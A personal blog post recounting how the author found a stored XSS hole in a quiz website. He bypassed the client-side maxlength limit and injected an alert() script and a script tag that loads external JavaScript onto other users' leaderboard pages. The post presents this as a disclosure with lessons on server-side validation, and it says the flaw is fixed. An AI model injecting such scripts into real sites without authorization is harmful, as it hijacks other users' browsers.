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119 lines
5.3 KiB
119 lines
5.3 KiB
---
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title: "The \"Quiz Your Friends\" XSS Exploit"
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layout: post
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---
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Note: I have alerted the administrators of this site multiple times about this vulnerability.
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One email was sent many years ago, which is more than enough time for [responsible disclosure](https://en.wikipedia.org/wiki/Responsible_disclosure).
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Update: They have fixed the vulnerability as of the day of release for this article.
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## Background
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In early 2014, when my "programming" skills consisted of editing web pages with inspect element, I was sent a link from an old friend in a town about 3 hours away.
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This was a link to a quiz about them.
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I had to answer as many questions right as I could about them and I got a score at the end based on my answers.
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It seemed fun enough, so I went for it.
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In the following weeks this quiz website became quite a trend amongst my friend group as we all started making quizes to see how well we all knew eachother.
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A few weeks into this trend, I was staying at a friends' place and told him about this site,
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so he goes and creates his own quiz and sends it to all his friends, group chats, Google Plus groups, et cetera.
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## Hackerman
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While filling in my friend's survey I thought it would be
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funny for them to know it is me without anyone else knowing.
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We were young and had `Inspect Element`ed a few things together,
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so it was a safe bet that an HTML joke would let them know.
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I decided to write my name like so: `<b>Steve</b>`.
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Steve is in reference to the [main character](https://minecraft.gamepedia.com/Player) in the video game Minecraft.
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<figure>
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<img src="/assets/img/qyf-xss/2-bold.png">
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<figcaption>
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<p>Me typing in my name as <span class="mono"><b>Steve</b></span>.</p>
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</figcaption>
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</figure>
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Now in theory this should have shown in in the leaderboard as: "<b>Steve</b>"
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However, to my horror and excitement, I saw this in the leaderboard:
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<figure>
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<img src="/assets/img/qyf-xss/3-steve-board.png">
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<figcaption>
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<p><span class="mono"><b>Steve</b></span> displaying in the leaderboard as bold text: <b>Steve</b></p>
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</figcaption>
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</figure>
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The text "Steve" showed up **in bold** on the leaderboard.
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This told me all I needed to know.
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How did this happen? You might wonder.
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### Server-Side Validation
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Here is a great demonstration why you should do most of your validation on the server side.
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As a user, I can edit any of the HTML, CSS, or Javascript your server serves to me.
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Quiz your friends uses the `maxlength=20` HTML attribute on the name input field.
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Imagine trying to fit in a script tag doing anything useful with 20 characters! Don't forget that includes the `<script>` tag.
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That would leave 13 characters for Javascript.
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Although I'm sure a genius would be able to [code golf](https://code.golf/) that, I know I couldn't.
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Now obviously I can edit any HTML that a server has sent to me.
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If I open up my inspect element window, I can go ahead and change that `maxlength` attribute to anything I want.
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Let's change it to 100!
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<figure>
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<img src="/assets/img/qyf-xss/5-maxlength.png" alt='An image of the Quiz Your Friends name input field with inspect element. THe code reads: <font class="style6"><input class="inputbutton" name="takername" type="text" id="takername" maxlength="20" width="425" placeholder="Your First Name" style="text-align: center; text-decoration:inherit; font-size:38px;" tabindex="-1"></font>'>
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<figcaption>
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Manually changing the maxlength attribute.
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</figcaption>
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</figure>
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In theory, there is a way that a site can stop people from just putting in their name of any length: server-side validation.
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The server *could* check to see if the input is too long and reject it if it is.
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The Quiz My Friends server has *no such checks in place*.
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Therefore, I can send an almost arbitrary load to them.
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Being able to send something potentially very large (more than a few megabytes) is a vulnerability of its own.
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Imagine being able to send entire executable programs as your "name" in one of these quizzes?
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## Javascript
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So I went on my merry way thinking about ways to use malicious javascript.
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Then, I thought that might be mean, so I decided to warn users instead.
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I filled in the name with a script tag and a call to `alert()` to warn the user about this site.
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I edited the max-length attribute to allow me to type a long string like this:
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```
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<script>alert("Don't use this site. It is not secure!");</script>
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```
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Sure enough, I got a text from my friend saying: "Tait! I know this is you, why would you do that!"
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A bit salty, but who wouldn't be.
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## Cross-Site Scripting (XSS)
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As my final act, I decided to use a cross-site script that I could edit and have it load with new changes at any time.
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I set this as my name:
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```
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<script src="https://tait.tech/assets/js/hacked.js"></script>
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```
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This script pops up a warning, telling the user that the site is insecure and it is now redirecting to an article about the attack.
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This script redirects to an [older post I made](https://tait.tech/2020/04/25/xss/) about how XSS works.
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## Conclusion
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Watch out for sketchy websites that may be vulnerable to malicious or insecure sites which are ripe for abuse.
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Always check that you are using an encrypted connection, HTTPS.
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And if you see any messages warning you that a site is not secure and redirecting you to some random site...
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Take their info with a grain of salt.
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Happy Hacking, literally :)
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